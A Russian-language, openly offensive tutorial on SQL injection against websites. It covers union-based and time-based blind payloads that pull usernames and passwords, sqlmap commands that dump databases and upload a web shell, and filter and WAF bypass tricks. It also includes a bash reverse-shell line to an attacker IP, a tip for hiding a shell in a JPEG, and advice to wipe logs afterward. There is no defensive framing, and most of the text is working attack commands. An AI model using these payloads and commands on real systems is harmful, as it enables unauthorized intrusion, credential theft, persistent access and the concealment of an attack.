33
SQL-инъекции (SQLi) — это классика, которая не устаревает, как мой старый ThinkPad. Если сайт принимает пользовательский ввод (например, в строке поиска или форме логина) и не фильтрует его, то ты можешь засунуть туда свой код и сказать базе: “Эй, отдай всё, что есть”. Чаще всего это MySQL, иногда PostgreSQL или MSSQL. На глаз видно по параметрам в URL, типа id=1
или user=admin
. Если при подстановке ' OR 1=1 --
страница отдаёт что-то необычное (или логинит без пароля), поздравляю, ты в игре.
Сегодня берём два вектора: Union-based SQLi (когда данные возвращаются прямо на страницу) и Time-based Blind SQLi (когда ответов нет, но можно угадывать по задержкам). А потом автоматизируем всё через sqlmap
и зальём веб-шелл, чтобы админ поплакал.
Векторы атаки
1. Union-based SQLi: Вытягиваем данные на страницу
Что делаем: Проверяем, сколько колонок в запросе, и подставляем свой UNION SELECT
, чтобы база вернула нам инфу.
Как работает: Если сайт делает запрос типа SELECT name, price FROM products WHERE id=1
, мы добавляем UNION SELECT 1,2,3,...
и смотрим, где отображается наш вывод.
Шаги:
id=1 UNION SELECT 1,2,3,4 --
и считаем колонки, пока не увидим цифры на странице.id=1 UNION SELECT 1,2,3, database(), user(), version() --
.id=1 UNION SELECT 1,2,3, group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() --
. Вытягиваем таблицы.id=1 UNION SELECT 1,2,3, group_concat(username,':',password) FROM users --
.Фишка: Иногда сайт режет пробелы или --
. Используй /**/
вместо пробела и #
вместо коммента. Пример: id=1/**/UNION/**/SELECT/**/1,2,3#
.
2. Time-based Blind SQLi: Угадываем по задержкам
Что делаем: Если Union не сработал и страница не отдаёт данные, проверяем ответы через задержки с помощью SLEEP()
.
Как работает: Если условие истинное, сервер “зависает” на заданное время.
Шаги:
id=1 AND SLEEP(5) --
. Если страница грузится 5+ секунд, мы в деле.id=1 AND IF(LENGTH(database())=5, SLEEP(5), 0) --
. Перебираем цифры, пока не угадаем.id=1 AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0) --
. Да, это долго, но работает, если других вариантов нет.Фишка: Ручной перебор — это боль. Если база большая или ты не хочешь тратить ночь, переходи сразу к sqlmap
с опцией --technique=T
.
Команды: Автоматизация через sqlmap
Анализ: Ручной SQLi хорош для понтов, но когда время поджимает, sqlmap
— твой лучший кореш. Он сам находит уязвимости, определяет технику (Union, Blind, Time-based) и вытягивает всё, что нужно. Ставь его через apt install sqlmap
или качай с GitHub, если у тебя кастомный Kali.
Команды для атаки:
sqlmap -u "http://target.com/page.php?id=1" --batch
--batch
— автоматический режим, без вопросов. Если sqlmap
находит уязвимость, он сам предложит технику.information_schema
:sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users --columns --batch
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users --dump --batch
sqlmap -u "http://target.com/page.php?id=1" --technique=T --dbs --batch
Заливаем веб-шелл через –os-shell:
Если у тебя есть доступ к базе и права позволяют, sqlmap
может закинуть шелл на сервер:
sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch
--file-write=/path/to/webshell.php --file-dest=/var/www/html/shell.php
.Фишка: Если сервер на Windows, попробуй --os-cmd="powershell -c ..."
для прямого доступа. На Linux кидай реверс-шелл:
bash -i >& /dev/tcp/твой_IP/твой_порт 0>&1
Трюки: Как обойти фильтры и WAF
UNION
или SELECT
, обфускируй через HEX или CHAR:SELECT
пиши CHAR(83,69,76,69,67,84)
.UNION SELECT 0x31,0x32,0x33
./**/
, +
, или %0a
(новая строка). Пример:id=1/**/UNION/**/SELECT/**/1,2,3#
.sqlmap -u "http://target.com/page.php" --data="id=1" --cookie="auth=bla; id=1" --batch
Советы:
Проверь поддомены через wfuzz -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1mil-5000.txt
.
Попробуй протолкнуть шелл через exiftool
в загруженный JPEG.
Если всё заебись — валим через reverse shell на 443-й порт, мимо фаервола.
Если тишина — “Брат, похоже, админы тоже не спали. Переходим на план Б: кринжовый XSS в админку”.
Шелл висит, база слита. Теперь твоя очередь стирать логи.